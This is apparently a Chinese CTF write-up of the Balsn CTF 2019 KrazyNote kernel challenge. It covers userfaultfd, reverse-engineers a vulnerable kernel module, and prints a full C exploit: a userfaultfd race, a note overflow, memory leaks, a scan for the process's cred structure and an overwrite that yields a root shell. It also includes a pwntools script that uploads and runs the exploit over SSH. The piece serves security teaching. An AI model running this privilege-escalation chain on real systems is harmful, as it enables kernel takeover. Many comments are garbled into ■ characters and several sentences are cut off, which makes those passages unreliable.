【linux内核userfaultfd使用】Balsn CTF 2019 - KrazyNote

bsauce / 2019-11-02 10:29:19 / 浏览数 6132 安全技术 二进制安全 顶(0) 踩(0)

本文所有测试文件地址见：https://github.com/bsauce/CTF/tree/master/KrazyNote-Balsn%20CTF%202019

userfaltfd在内核漏洞利用中非常有用，借这道题来学习一下。

一、背景知识

1.提权

内核提权一般需要利用漏洞来修改task_struct中的cred结构，commit_cred(prepare_kernel_creds(0))会帮你找到cred结构并修改。

SMEP防止在内核态执行用户态代码，采用ROP来绕过；SMAP防止内核态使用用户态数据，切断了用户态的ROP，可以copy_from_user和copy_to_user来绕过SMAP。

2.页和虚内存

内核的内存主要有两个区域，RAM和交换区，即将被使用的内存保存在RAM中，暂时不被使用的内存放在交换区，内核控制交换进出过程。RAM中地址是物理地址，而内核

3.页调度与延迟加载

有的内存既不在RAM也不在交换区，例如mmap创建的内存映射页。mmap页在read/write访问之前，实际上还没有创建（还没有映射到实际的物理页），例如：mmap(0x1000, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE, fd, 0);

内核并未将fd内容拷贝到0x1337000，只是将地址0x1337000映射到文件fd。

当有如下代码访问时：

```
char *a = (char *)0x1337000
printf("content: %c\n", a[0]);
```

若发生对该页的引用，则（1）为0x1337000创建物理帧，（2）从fd读内容到0x1337000，（3）并在页表标记合适的入口，以便识别0x1337000虚地址。如果是堆空间映

总之，若首次访问mmap创建的页，会耗时很长，会导致上下文切换和当前线程的睡眠。

4.别名页 Alias pages

没有ABI能直接访问物理页，但内核有时需要修改物理帧的值（例如修改页表入口），于是引入了别名页，将物理帧映射到虚拟页。在每个线程的启动和退出的页表中，所以
+ physical address。

5.userfaultfd

userfaultfd机制可以让用户来处理缺页，可以在用户空间定义自己的page fau
handler。用法请参考官方文档，含示例代码，见文件userfaultfd_demo.c。

Step 1: 创建一个描述符uffd

所有的注册内存区间、配置和最终的缺页处理等就都需要用ioctl来对这个uffd操作。ioctl-userfaultfd支持UFFDIO_API、UFFDIO_REGISTER、UFFDIO_UNREGISTER、U

```
# 2 ■■■■■■■■■■ioctl■■■
UFFDIO_REGISTER                 ■■■■■■user-fault■■■■■■
UFFDIO_UNREGISTER               ■■■■■■user-fault■■■■■■
# 3 ■■■■■■user-fault■■■ioctl■■■
UFFDIO_COPY                     ■■■■■■■■user-fault■
UFFDIO_ZEROPAGE                 ■user-fault■■■■
UFFDIO_WAKE                     ■■■■■■■■■■ UFFDIO_COPY_MODE_DONTWAKE ■
                               UFFDIO_ZEROPAGE_MODE_DONTWAKE■■■■■■■■■
# 1 ■■■■■■uffd■■■■■■ioctl■■■■
UFFDIO_API                      ■■■■■■■feature■■■■■■
                               UFFD_FEATURE_EVENT_FORK         (since Linux 4.11)
                               UFFD_FEATURE_EVENT_REMAP        (since Linux 4.11)
                               UFFD_FEATURE_EVENT_REMOVE       (since Linux 4.11)
                               UFFD_FEATURE_EVENT_UNMAP        (since Linux 4.11)
                               UFFD_FEATURE_MISSING_HUGETLBFS  (since Linux 4.11)
                               UFFD_FEATURE_MISSING_SHMEM      (since Linux 4.11)
                               UFFD_FEATURE_SIGBUS             (since Linux 4.14)

// userfaultfd■■■■■■■■■■■■uffd■■■■■■■■■fd
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
```

STEP 2. 用ioctl的UFFDIO_REGISTER选项注册监视区域

```
// ■■■■■■■■struct uffdio_register■■■■■■■■:
// struct uffdio_range {
// __u64 start;    /* Start of range */
// __u64 len;      /* Length of range (bytes) */
// };
//
// struct uffdio_register {
// struct uffdio_range range;
// __u64 mode;     /* Desired mode of operation (input) */
// __u64 ioctls;   /* Available ioctl() operations (output) */
// };

addr = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)
// addr ■ len ■■■■■■■■■■■■■■■■■■■■■■uffdio_register
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
// mode ■■■ UFFDIO_REGISTER_MODE_MISSING
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
// ■ioctl■UFFDIO_REGISTER■■
ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);
```

STEP 3. 创建一个处理专用的线程轮询和处理"user-fault"事件

要使用userfaultfd，需要创建一个处理专用的线程轮询和处理"user-fault"事件。主进程中就要调用`pthread_create`创建这个自定义的handler线程：

```
// ■■■■■■■pthread_create■■■■■fault handler■■
pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
```

一个自定义的线程函数举例如下，这里处理的是一个普通的匿名页用户态缺页，我们要做的是把我们一个已有的一个page大小的buffer内容拷贝到缺页的内存地址处。用到了

注意：如果写exp只需处理一次缺页，可以不用循环。

```
static void * fault_handler_thread(void *arg)
{
   // ■■uffd■■■■■■■■■■■■struct uffd_msg■■■■
   static struct uffd_msg msg;
   // ioctl■UFFDIO_COPY■■■■■■■■■■■struct uffdio_copy■■
   struct uffdio_copy uffdio_copy;
   uffd = (long) arg;
     ......
   for (;;) { // ■■■■■■■■polling■■■■■■■■
       // poll■■■■■■■■■struct pollfd■■
       struct pollfd pollfd;
       pollfd.fd = uffd;
       pollfd.events = POLLIN;
       poll(&pollfd, 1, -1);
       // ■■user-fault■■■■
       read(uffd, &msg, sizeof(msg));
       // ■■■■■■■■■■■user-fault■■■■■■■UFFD_EVENT_PAGEFAULT■■■■■
       assert(msg.event == UFFD_EVENT_PAGEFAULT);
       // ■■uffdio_copy■■■■■ioctl-UFFDIO_COPY■■■■■user-fault
       uffdio_copy.src = (unsigned long) page;
       uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
       uffdio_copy.len = page_size;
       uffdio_copy.mode = 0;
       uffdio_copy.copy = 0;
       // page(■■■■■■■■■■■■■■■)■page_size■■■■■■■■■■■■■■■msg.arg.pagefault.address■■■■■
       ioctl(uffd, UFFDIO_COPY, &uffdio_copy);
         ......
   }
}
```

二、漏洞分析

1.init_module()函数

```
void init_module()
{
```

```
 bufPtr = bufStart;
 return misc_register(&dev);
}
```

dev是struct miscdevice结构

```
struct miscdevice  {
   int minor;
   const char *name;
   const struct file_operations *fops;
   struct list_head list;
   struct device *parent;
   struct device *this_device;
   const struct attribute_group **groups;
   const char *nodename;
   umode_t mode;
};
```

```
#■IDA■■dev■■■dev_name■"note"■fops■■0x680■■
.data:0000000000000620 dev             db  0Bh                 ; DATA XREF: init_module+5↑o
.data:0000000000000620                                         ; cleanup_module+5↑o
.data:0000000000000621                 db    0
.data:0000000000000622                 db    0
.data:0000000000000623                 db    0
.data:0000000000000624                 db    0
.data:0000000000000625                 db    0
.data:0000000000000626                 db    0
.data:0000000000000627                 db    0
.data:0000000000000628                 dq offset aNote         ; "note"
.data:0000000000000630                 dq offset unk_680
.data:0000000000000638                 align 80h
.data:0000000000000680 unk_680         db    0                 ; DATA XREF: .data:0000000000000630↑o
```

```
// file_operations■■
struct file_operations {
   struct module *owner;
   loff_t (*llseek) (struct file *, loff_t, int);
   ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
   ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
   ssize_t (*read_iter) (struct kiocb *, struct iov_iter *);
   ssize_t (*write_iter) (struct kiocb *, struct iov_iter *);
   int (*iopoll)(struct kiocb *kiocb, bool spin);
   int (*iterate) (struct file *, struct dir_context *);
   int (*iterate_shared) (struct file *, struct dir_context *);
   __poll_t (*poll) (struct file *, struct poll_table_struct *);
   long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
   long (*compat_ioctl) (struct file *, unsigned int, unsigned long);

   ... truncated
};
```

unk_680对应file_operations结构，发现只定义了open和unlocked_ioctl函数，其他都是null。unlocked_ioctl和compat_ioctl有区别，unlocked_ioctl不

2.unlocked_ioctl()函数

unlocked_ioctl()函数实现4个功能：new/edit/show/delete。

```
// ■■■■■■userPtr■■■■■req■■, note length / note content
void * unlocked_ioctl(file *f, int operation, void *userPtr)
{
 char encBuffer[0x20];
 struct noteRequest req;

 memset(encBuffer, 0, sizeof(encBuffer));
 if ( copy_from_user(&req, userPtr, sizeof(req)) )
   return -14;
 /* make note, view note, edit note, delete note */
 return result;
}
```

```
// noteRequest■■——■■■■
struct noteRequest{
 size_t idx;
 size_t length;
 size_t userptr;
}
// note■■——■■■note
struct note {
   unsigned long key;
   unsigned char length;
   void *contentPtr;
   char content[];
}

//(1) new note■■, operation == -256
/* ■■note■■bufPtr■■■■■■current_task■■key(task_struct.mm->pgd,■■■■■■■■■■)■■content■■XOR■■■■■■(&note->content - page_of
■■■length■■■■■■0~0x100■■■■■■■■■■`movzx   ecx, byte ptr [rsp+140h+req.length]`■■byte■■■■■■
*/
   if ( operation == -256 )
   {
       idx = 0;
       while ( 1 )
       {
         if (!notes[idx])
           break;
       if (++idx == 16)
           return -14LL;
       } // ■■■■■notes■■■■■■■16■note

   new = (note *)bufPtr;
   req.noteIndex = idx;
   notes[idx] = (struct note *)bufPtr;
   new->length = req.noteLength;
   new->key = *(void **)(*(void **)(__readgsqword((unsigned __int64)&current_task) + 0x7E8) + 80);// ????
   bufPtr = &new->content[req.length];

   if ( req.length > 0x100uLL )
   {
     _warn_printk("Buffer overflow detected (%d < %lu)!\n", 256LL, req.length);
     BUG();
   }

   _check_object_size(encBuffer, req.length, 0LL);
   copy_from_user(encBuffer, userptr, req.length);
   length = req.length;

   if ( req.length )
   {
     i = 0LL;
     do
     {
       encBuffer[i / 8] ^= new->key;         // encryption
       i += 8LL;
     }
     while ( i < length );
   }

   memcpy(new->content, encBuffer, length);
   new->contentPtr = &new->content[-page_offset_base];// ■■ page_offset_base
   return 0;

//(2) delete■■■■■note■■■■bufPtr■■■■■■■■■■■■0■
ptr = notes;
if (operation == -253)
{
do
{
 *ptr = 0LL;
 ++ptr;
```

```
}
while (ptr < note_end);

bufPtr = bufStart;
memset(bufStart, 0, sizeof(bufStart));
return 0;

// (3) edit■■■■■copy_from_user■■■■■■■race■■■■
if (operation == -255)
{
   note = notes[idx];
   if ( note )
   {
   length = note->length;
   userptr = req.userptr;
   contentPtr = (note->contentPtr + page_offset_base);
   _check_object_size(encBuffer, length, 0LL);
   copy_from_user(encBuffer, userptr, length);
   if ( length )
       {
           i = 0;
           do
           {
             encBuffer[i/8] ^= note->key;
             i += 8LL;
           }
           while (length > i);
           memcpy(contentPtr, encBuffer, length)
       }
   return 0LL;
   }
}

// (4) show■■■■content■XOR■■■■copy_to_user■■■■■
if ( (_DWORD)operation == -254 )
{
 tmp_note2 = (note *)global_notes[note_idx2];
   result = 0LL;
   if ( tmp_note2 )
   {
     len = LOBYTE(tmp_note2->length);
     contentPtr2 = (_DWORD *)(tmp_note2->contentPtr + page_offset_base);
     memcpy(encBuffer, contentPtr, len)
   }
 if ( len )
 {
    ji_2 = 0LL;
    do
    {
      encBuffer[ji_2 / 8] ^= tmp_note2->key;
      ji_2 += 8LL;
    }
    while ( ji_2 < len );
  }
  userptr = req.userptr;
  _check_object_size(encBuffer, len, 1LL);
  copy_to_user(userptr, encBuffer, len);
  result = 0LL;
}
```

3.漏洞

考虑以下两线程：

thread 1	thread 2
edit note 0 (size 0x10)	idle
copy_from_user	idle
idle	delete all notes
idle	add note 0 with size 0x0
idle	add note 1 with size 0x0

continue edit of note 0 (size 0x10)　　idle

由于edit时copy_from_user首次访问mmap地址，触发缺页处理函数，等线程2删除所有note并重新添加两个note后，线程1才继续编辑note 0，此时的编辑content size还是0x10，所以就会产生溢出。

三、漏洞利用

1.利用方法

目标：若伪造note结构，就能构造任意地址读写。

```
// note■■
struct note {
   unsigned long key;
   unsigned char length;
   void *contentPtr;
   char content[];
}
```

key值泄露：若读取note 0，则会将加密后的null字节也打印出来，其实就是key值。

0x0	note 0, with content size 0x10
0x18	note 1
0x30	NULL'ed out data

module基址泄露：得到key后，可以得到contentPtr值，contentPtr须加上page_base_offset才是真实指针。就能以module的.bss相对地址进行任意读写，可读出

内核基址泄露：可读取module的0x6c处的.text:000000000000006C call _copy_from_user来泄露内核基址。

page_offset_base泄露：读取.text:00000000000001F7 mov r12, cs:page_offset_base处的4字节偏移page_offset_base_offset，再读取page_offset_base_offset + 0x1fe + mudule_base处的值，就是page_offset_base的值。为什么非要泄露它呢，因为读/写都是以它为基地址。

```
// ■■■■■■■■■■0x6c■■■■■■■32■offset■■■pc■■■■copy_from_user■■■■■■
unsigned long leak = read64(0x6c + moduleBase);
long int offset = *((int *)(((char *)&leak) + 1)) + 5;
copy_from_user = offset + moduleBase + 0x6c;
```

2.exploit

为了准确控制线程1在copy_from_user或copy_to_user处停住，需用到userfaultfd（处理用户空间的页错误）。注意本题的漏洞根本原因在于使用了unlocked_ioct

触发溢出步骤：

（1）创建1个content length长度为0x10的note。

（2）创建1个userfalut fd，来监视0x1337000地址处的页错误。

（3）对note0 进行edit，并利用mmap将传进去的userptr指针指向0x1337000地址空间。

（4）在edit note0执行到copy_from_user时，进入页错误处理程序。

（5）也错误处理程序中，清空notes，并创建note0/note1，content length都是0。

（6）恢复执行edit note0，将note1的content length覆盖为0xf0。

（7）触发溢出。

利用步骤：

（1）泄露key：输出note1，content内容为NULL，输出内容会与key异或，仍为key。

（2）泄露module_base：创建note2，输出note1，会输出note2的contentPtr指针，即可计算出module_base。

（3）泄露page_offset_base：edit note1，将note2的contentPtr改成module_base+0x1fa，.text:00000000000001F7 mov r12, cs:page_offset_base，show note2泄露page_offset_base在module中的偏移page_offset_base_offset；edit note，将note2的contentPtr改成module_base+0x1fe+page_offset_base_offset，泄露出page_offset_base。

（4）搜索cred地址：利用prctl的PR_SET_NAME功能搜索到task_struct结构，（满足条件：real_cred—NAME■0x10■和cred—NAME■0x8■指针值相等且位于内核空间，

（5）修改cred提权。

EXP如下：见exp_cred.c。

```
// gcc -static -pthread xx.c -g -o xx
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/prctl.h>
#include <stdint.h>

typedef struct _noteRequest
{
   size_t idx;
   size_t length;
   char* userptr;
}noteRequest;

int fd;
void init()
{
   fd = open("/dev/note", 0);
   if (fd<0)
       exit(-1);
   puts("[+] init done!");
}
void errExit(char* msg)
{
   puts(msg);
   exit(-1);
}

void create(char* buf, uint8_t length)
{
   noteRequest req;
   req.length  = length;
   req.userptr = buf;
   if (ioctl(fd, -256, &req) < 0)
       errExit("[-] Failed to create!");
}

void edit(uint8_t idx, char* buf, uint8_t length)
{
   noteRequest req;
   req.length  = length;
   req.userptr = buf;
   req.idx     = idx;
   if (ioctl(fd, -255, &req) < 0)
       errExit("[-] Failed to edit!");
}

void show(uint8_t idx, char* buf)
{
   noteRequest req;
   req.userptr = buf;
   req.idx     = idx;
   if (ioctl(fd, -254, &req) < 0)
       errExit("[-] Failed to show!");
```

```
}

void delete()
{
   noteRequest req;
   if (ioctl(fd, -253, &req) < 0)
       errExit("[-] Failed to delete!");
}

char buffer[0x1000];
#define FAULT_PAGE ((void*)(0x1337000))

void* handler(void *arg)
{
   struct uffd_msg msg;
   unsigned long uffd = (unsigned long)arg;
   puts("[+] Handler created");

   struct pollfd pollfd;
   int nready;
   pollfd.fd     = uffd;
   pollfd.events = POLLIN;
   nready = poll(&pollfd, 1, -1);
   if (nready != 1)  // ■■■■■■■■■■copy_from_user■■FAULT_PAGE
       errExit("[-] Wrong pool return value");
   printf("[+] Trigger! I'm going to hang\n");

   //■■■■■■■■copy_from_user■■■■■■■■■■■■
   delete();
   create(buffer, 0);
   create(buffer, 0);
   // ■■■■■■note0 struct + 0x10 buffer
   // ■■■■■■note0 struct + note1 struct
   // ■■■■■■■■■■■■■■■note1■■

   if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // ■■uffd■■msg■■■■■■■■
       errExit("[-] Error in reading uffd_msg");

   struct uffdio_copy uc;
   memset(buffer, 0, sizeof(buffer));
   buffer[8] = 0xf0; //■note1 ■length■■0xf0

   uc.src = (unsigned long)buffer;
   uc.dst = (unsigned long)FAULT_PAGE;
   uc.len = 0x1000;
   uc.mode = 0;
   ioctl(uffd, UFFDIO_COPY, &uc);  // ■■■■copy_from_user

   puts("[+] done 1");
   return NULL;
}

void register_userfault()
{
   struct uffdio_api ua;
   struct uffdio_register ur;
   pthread_t thr;

   uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
   ua.api = UFFD_API;
   ua.features = 0;
   if (ioctl(uffd, UFFDIO_API, &ua) == -1) // create the user fault fd
       errExit("[-] ioctl-UFFDIO_API");
   if (mmap(FAULT_PAGE, 0x1000, 7, 0x22, -1, 0) != FAULT_PAGE)//create page used for user fault
       errExit("[-] mmap fault page");

   ur.range.start = (unsigned long)FAULT_PAGE;
   ur.range.len   = 0x1000;
   ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
```

```
    if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
        errExit("[-] ioctl-UFFDIO_REGISTER"); //■■■■■■■■■■■fd■■■■■■copy_from_user
                                    //■■■FAULT_PAGE■■■■■■■■■uffd■■■■■■■
    int s = pthread_create(&thr, NULL, handler, (void*)uffd);
    if (s!=0)
        errExit("[-] pthread_create"); // handler■■■■■■■■■■■
}

int main(int argc, char const *argv[])
{
    init();
    create(buffer, 0x10);  // memory layout: note struct + 0x10 buffer
    register_userfault();  // register the user fault
    edit(0, FAULT_PAGE, 1);
           /* ■■■■edit■■■■■■■■■■■■copy_from_user■■■■■■■■■■
           notes■■■■■■■■■copy_from_user■■■■■■■■OOB ■ R&W */
    // 1.leak key
    show(1, buffer);
    unsigned long key = *(unsigned long *)buffer;

    create(buffer, 0);   // note2: can be overwritten

    // 2. leak module base
    show(1,buffer);
    unsigned long bss_addr = *(unsigned long*) (buffer + 0x10) ^ key;
    unsigned long module_base = bss_addr - 0x2568;
    printf("[+] key=0x%lx     module_base=0x%lx\n", key, module_base);

    // 3. leak base addr, not kernel_base
    unsigned long page_offset_base = module_base + 0x1fa;
    unsigned long* fake_note = (unsigned long*)buffer;
    fake_note[0] = 0 ^ key;  // note2■key■■0
    fake_note[1] = 4 ^ key;
    fake_note[2] = page_offset_base ^ key;
    edit(1, buffer, 0x18);
    int page_offset_base_offset;
    show(2, (char*)&page_offset_base_offset);
    printf("[+] page_offset_base_offset = 0x%x\n", page_offset_base_offset);
           //0x1f7■■■■ .text:00000000000001F7                mov     r12, cs:page_offset_base
           //             .text:00000000000001FE                add     r12, [rax+10h]
    // ■■■■■■■■■■■■■■■■
    page_offset_base = module_base + 0x1fe + page_offset_base_offset;
    printf("[+] page_offset_base = 0x%lx\n", page_offset_base);
    fake_note[1] = 8 ^ key;
    fake_note[2] = page_offset_base ^ key;
    edit(1, buffer, 0x18);
    unsigned long base_addr;
    show(2, (char *)&base_addr);
    printf("[+] base_addr = 0x%lx\n", base_addr);

    // 4. search cred   ■■■■■■■■base_addr■■■■■■■■■0■■■■
    if (prctl(PR_SET_NAME, "try2findmesauce") < 0)
        errExit("[-] prctl set name failed");
    unsigned long* task;
    for (size_t off = 0; ; off += 0x100)  // ■■length■■■■1■■■■■■1■■■■■0xff
    {
        fake_note[0] = 0 ^ key;
        fake_note[1] = 0xfff ^ key;
        fake_note[2] = off ^ key;
        edit(1, buffer, 0x18);
        memset(buffer, 0, 0x100);
        show(2, buffer);
        task = (unsigned long*)memmem(buffer, 0x100, "try2findmesauce", 14);
        if (task != NULL)
        {
            printf("[+] found: %p 0x%lx, 0x%lx\n", task, task[-1], task[-2]);
            if (task[-1] > 0xffff000000000000 && task[-2] > 0xffff000000000000)  // ■■cred■■■■■■■■
                break;
        }
```

```
    }

    // 5. change cred to 0
    fake_note[0] = 0 ^ key;
    fake_note[1] = 0x28 ^ key;
    fake_note[2] = (task[-2] + 4 - base_addr) ^ key;  // ■■■■■■■■■base_addr■■■
    edit(1, buffer, 0x18);

    int fake_cred[8];
    memset(fake_cred, 0, sizeof(fake_cred));
    edit(2, (char*)fake_cred, 0x28);

    char* args[2] = {"/bin/sh", NULL};
    execv("/bin/sh", args);
    return 0;
}
```

想利用call_usermodehelper方法来写，但发现prctl_hook怎么都修改不了（可能是系统不允许修改prctl_hook）。报错信息如下：

不过可以改modprobe_path，利用脚本见exp_modprobe.c。

```
/home/note # ./test
[+] init done!
[+] Handler created
[+] Trigger! I'm going to hang
[+] done 1
[+] key=0xffff9a3f0ea52000     module_base=0x65c0c00f0000
[+] page_offset_base_offset = 0xe5babaa2
[+] page_offset_base = 0x65c0a5c9bca0
[+] base_addr = 0xffff9a3f00000000
[+] real module_base = 0xffffffffc00f0000
[+] kernel_base = 0xffffffffa4e00000
[+] order_cmd_addr = 0xffffffffa5e5d940
[+] prctl_hook_addr = 0xffffffffa5cb0460
[+] poweroff_work_func_addr = 0xffffffffa4ead300
[*] Wait 1!
1
[*] Wait 2!2
[   16.235460] BUG: unable to handle kernel paging request at ffffffffa5cb0460
[   16.238245] #PF error: [PROT] [WRITE]
[   16.239130] PGD 9c12067 P4D 9c12067 PUD 9c13063 PMD eb8a163 PTE 8000000009ab0061
[   16.240921] Oops: 0003 [#1] SMP PTI
[   16.241536] CPU: 0 PID: 169 Comm: test Tainted: G           OE     5.1.9 #1
[   16.242241] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[   16.243084] RIP: 0010:0xffffffffc00f034f
[   16.243980] Code: de e8 65 7d 31 e5 48 2b 2d 6e b9 ba e5 31 c0 49 89 6c 24 10 e9 eb fd ff ff 48 8b 44 24 18 49 8d 7c 24 08
[   16.246040] RSP: 0018:ffffb4a9c0233d40 EFLAGS: 00000282
[   16.246269] RAX: ffffffffa4ead300 RBX: ffffb4a9c0233d58 RCX: ffffffffc00f2550
[   16.246690] RDX: ffffffffc00f0000 RSI: ffffb4a9c0233d58 RDI: ffffffffa5cb0468
[   16.247939] RBP: 0000000000000020 R08: ffffffffc00f0000 R09: 0000000000000000
[   16.248679] R10: 0000000000000000 R11: 0000000000000000 R12: ffffffffa5cb0460
[   16.249253] R13: 00007fff98029c40 R14: 00007fff98029be0 R15: 0000000000000000
[   16.250133] FS:  0000000001524880(0000) GS:ffff9a3f0f400000(0000) knlGS:0000000000000000
[   16.251110] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   16.251654] CR2: ffffffffa5cb0460 CR3: 000000000ea52000 CR4: 00000000003006f0
[   16.252143] Call Trace:
[   16.253153]  ? __ia32_sys_reboot+0x20/0x20
[   16.254058]  ? 0xffffffffc00f0000
[   16.254712]  do_vfs_ioctl+0xa1/0x620
[   16.255031]  ? vfs_read+0xfb/0x110
[   16.255355]  ksys_ioctl+0x66/0x70
[   16.255582]  __x64_sys_ioctl+0x16/0x20
[   16.255829]  do_syscall_64+0x55/0x110
[   16.256102]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[   16.256469] RIP: 0033:0x4468b7
[   16.256807] Code: 48 83 c4 08 48 89 d8 5b 5d c3 66 0f 1f 84 00 00 00 00 00 48 89 e8 48 f7 d8 48 39 c3 0f 92 c0 eb 92 66 90
[   16.257880] RSP: 002b:00007fff98029bc8 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
[   16.258288] RAX: ffffffffffffffda RBX: 00000000004002e0 RCX: 00000000004468b7
[   16.258653] RDX: 00007fff98029be0 RSI: ffffffffffffff01 RDI: 0000000000000003
[   16.259016] RBP: 00007fff98029c00 R08: 0000000000000000 R09: 0000000000000000
```

```
[   16.259694] R10: 0000000000000000 R11: 0000000000000246 R12: 00000000004073a0
[   16.259853] R13: 0000000000407430 R14: 0000000000000000 R15: 0000000000000000
[   16.260087] Modules linked in: note(OE)
[   16.263528] CR2: ffffffffa5cb0460
[   16.266388] ---[ end trace 5ced815cb65d3b46 ]---
[   16.269277] RIP: 0010:0xffffffffc00f034f
[   16.270061] Code: de e8 65 7d 31 e5 48 2b 2d 6e b9 ba e5 31 c0 49 89 6c 24 10 e9 eb fd ff ff 48 8b 44 24 18 49 8d 7c 24 08
[   16.271021] RSP: 0018:ffffb4a9c0233d40 EFLAGS: 00000282
[   16.271331] RAX: ffffffffa4ead300 RBX: ffffb4a9c0233d58 RCX: ffffffffc00f2550
[   16.271704] RDX: ffffffffc00f0000 RSI: ffffb4a9c0233d58 RDI: ffffffffa5cb0468
[   16.272078] RBP: 0000000000000020 R08: ffffffffc00f0000 R09: 0000000000000000
[   16.272486] R10: 0000000000000000 R11: 0000000000000000 R12: ffffffffa5cb0460
[   16.272858] R13: 00007fff98029c40 R14: 00007fff98029be0 R15: 0000000000000000
[   16.273394] FS:  0000000001524880(0000) GS:ffff9a3f0f400000(0000) knlGS:0000000000000000
[   16.273865] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   16.274193] CR2: ffffffffa5cb0460 CR3: 000000000ea52000 CR4: 00000000003006f0
[   16.274679] Kernel panic - not syncing: Fatal exception
[   16.275555] Kernel Offset: 0x23e00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[   16.276853] Rebooting in 1 seconds..
```

问题

1.打包错误

```
#■■■■■■■■■■■■/bin/busybox ■■■■■■■■chmod 777■■■■■■■■
mount: you must be root
mount: you must be root
mount: you must be root
/etc/init.d/rcS: line 8: can't create /proc/sys/kernel/dmesg_restrict: nonexistent directory
/etc/init.d/rcS: line 9: can't create /proc/sys/kernel/kptr_restrict: nonexistent directory insmod:
can't insert 'note.ko': Operation not permitted
```

2.文件过大

可以参考这篇writeup，利用uclibc来编译二进制文件，环境配置比较麻烦，可直接下载一个配置好的系统。

3.上传文件并执行

```
#!/usr/bin/env python2
from pwn import *

def send_command(cmd, print_cmd = True, print_resp = False):
   if print_cmd:
       log.info(cmd)

   p.sendlineafter("$", cmd)
   resp = p.recvuntil("$")

   if print_resp:
       log.info(resp)

   p.unrecv("$")
   return resp

def send_file(name):
   file = read(name)
   f = b64e(file)

   send_command("rm /home/note/a.gz.b64")
   send_command("rm /home/note/a.gz")
   send_command("rm /home/note/a")

   size = 800
   for i in range(len(f)/size + 1):
       log.info("Sending chunk {}/{}".format(i, len(f)/size))
       send_command("echo -n '{}'>>/home/note/a.gz.b64".format(f[i*size:(i+1)*size]), False)

   send_command("cat /home/note/a.gz.b64 | base64 -d > /home/note/a.gz")
   send_command("gzip -d /home/note/a.gz")
   send_command("chmod +x /home/note/a")
```

```
def exploit():
   send_file("exploit.gz")
   #send_command("/home/note/a")
   p.sendline("/home/note/a")
   p.interactive()

if __name__ == "__main__":

   #context.log_level = 'debug'
   s = ssh(host="krazynote-3.balsnctf.com", port=54321, user="knote", password="knote", timeout=5)
   p = s.shell('/bin/sh')
   #p = process("./run.sh")
   exploit()
```

参考

https://www.anquanke.com/post/id/189015

https://pr0cf5.github.io/ctf/2019/10/10/balsn-ctf-krazynote.html

https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/krazynote.c

userfaultfd使用方法

从内核到用户空间(1) — 用户态缺页处理机制 userfaultfd 的使用

http://man7.org/linux/man-pages/man2/userfaultfd.2.html

https://github.com/pr0cf5/CTF-writeups/blob/master/2019/BalsnCTF/knote/exploit.c

上一篇：venom的powershell免... 下一篇：XSS绕过某盾
1. 0 条回复
   - 动动手指，沙发就是你的了！